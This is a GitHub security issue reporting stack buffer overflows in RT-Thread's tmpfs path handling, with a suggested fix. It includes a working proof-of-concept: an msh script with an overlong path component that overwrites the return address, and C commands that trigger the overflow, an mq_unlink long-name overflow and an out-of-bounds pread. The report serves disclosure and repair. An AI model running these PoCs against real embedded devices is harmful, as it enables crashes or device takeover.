Skip to content

[Security] Stack buffer overflow in tmpfs path handling (_path_separate / _get_subdir) via long path components — reproducible with a one-line msh script #11735

Description

@REYu6

Summary

components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c copies path components
into fixed 32-byte stack buffers without any length check. A path component
longer than TMPFS_NAME_MAX (32) overwrites the stack frame of the calling
function, including saved registers and the return address, with fully
attacker-controlled bytes. On a typical no-MMU configuration this is a
denial-of-service to code-execution class defect; it is reachable from the
finsh/msh console and from msh scripts (e.g. an attacker-supplied script file
on a mounted SD card), because mkdir/stat/open are exported commands.

Two independent unbounded copies exist:

  1. _path_separate()dfs_tmpfs.c:71
    rt_memcpy(file_name, path_p, path_q - path_p);   /* no bound vs file_name[32] */
    file_name[path_q - path_p] = '\0';
    reached from dfs_tmpfs_rename() (:621) and dfs_tmpfs_create_vnode() (:721).
  2. _get_subdir()dfs_tmpfs.c:86-98 (*name++ = *path++; loop, no bound),
    reached from dfs_tmpfs_lookup() at dfs_tmpfs.c:258-259 into
    char subdir_name[TMPFS_NAME_MAX] (:234). This one triggers on ANY lookup
    (open/stat) — no O_CREAT needed.

The DFS core does not bound path components either: dfs_normalize_path()
performs no DFS_PATH_MAX check for absolute paths (dfs.c:1101), and
dentries keep the full-length path (dfs_dentry.c:85,305,312), so the
full component length reaches tmpfs.

Affected

  • Component: DFS v2 tmpfs (components/dfs/dfs_v2/filesystems/tmpfs/dfs_tmpfs.c)
  • Revision: master 6ea6827 (2026-08-21)
  • Configuration: RT_USING_DFS_V2 + RT_USING_DFS_TMPFS, tmpfs mounted at
    runtime (tmpfs is not auto-mounted by bsp/qemu-vexpress-a9; any product
    that mounts tmpfs — e.g. for /tmp — is affected)

Reproduction (QEMU, bsp/qemu-vexpress-a9, default config)

Boot rtthread.elf with an SD image containing this poc.sh:

mkdir /tmp          # create mount point on the root filesystem
poc_mount           # PoC helper: dfs_mount(NULL, "/tmp", "tmp", 0, 0)
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Then at the msh prompt:

msh /> /poc.sh

(poc_mount is a one-line MSH_CMD_EXPORT calling
dfs_mount(NULL, "/tmp", "tmp", 0, 0) — any in-firmware application that
mounts tmpfs serves the same purpose.)

Observed (console output followed by the rendered screenshot):

msh />/poc.sh
[poc] mount tmpfs on /tmp -> 0 (0=ok)
backtrace:
please use: addr2line -e rtthread.elf -a -f 6001fa7c
 41414141
data abort:Execption:
 ...
pc :0x6001fa84

tmpfs.png

addr2line resolves the faulting PC to dfs_tmpfs_lookup
(dfs_tmpfs.c:263), and the backtrace index is 0x41414141 — the return
address slot was overwritten with attacker bytes ('A' = 0x41) from the
72-character component.

Expected result

mkdir/open/stat with a >32-byte component returns -ENAMETOOLONG
(or stores/truncates per POSIX rules); no memory is corrupted.

Impact

  • Attacker model: any code that can issue path operations — the msh console
    user (mkdir is an exported command), an msh script executed from mounted
    media, or an application that passes externally derived filenames (e.g.
    filenames received from a network protocol) to POSIX calls.
  • Impact: stack smash with attacker-chosen content and length (arbitrary
    overflow size); on no-MMU builds, device takeover or permanent crash;
    with RT_USING_SMART this is a user-application → kernel escalation.

Suggested fix

Bound every component copy against TMPFS_NAME_MAX and fail with
-ENAMETOOLONG; e.g. in _path_separate():

if (path_q - path_p >= TMPFS_NAME_MAX)
    return -ENAMETOOLONG;

and the same length guard in _get_subdir()/dfs_tmpfs_lookup()
(dfs_tmpfs.c:86-98,258-259). Consider centralizing a component-length
check in the DFS core so every filesystem benefits.


Complete PoC source

The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.

poc.sh (executed on the target as /poc.sh)

mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bsp/applications/poc.c

#include <rtthread.h>

/* PoC application: simulates a user application / msh script caller.
 * Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */

extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);

static void poc_mount(int argc, char **argv)
{
    int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
    rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);

static void poc_mq(int argc, char **argv)
{
    char name[512];
    int i;
    for (i = 0; i < 200; i++) name[i] = 'M';
    name[200] = '\0';
    rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
    mq_unlink(name);
    rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);

static void poc_pread(int argc, char **argv)
{
    long off = -64;
    int fd;
    char buf[40];
    long n;
    int i;
    if (argc > 1) off = atol(argv[1]);
    fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
    if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
    write(fd, "AAAABBBBCCCCDDDD", 16);
    rt_memset(buf, 0, sizeof(buf));
    rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
    n = pread(fd, buf, 32, off);
    rt_kprintf("[poc] pread returned %d bytes:", (int)n);
    for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
    rt_kprintf("\n[poc] done\n");
    close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);

Build (bsp/qemu-vexpress-a9, unmodified default configuration):

cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions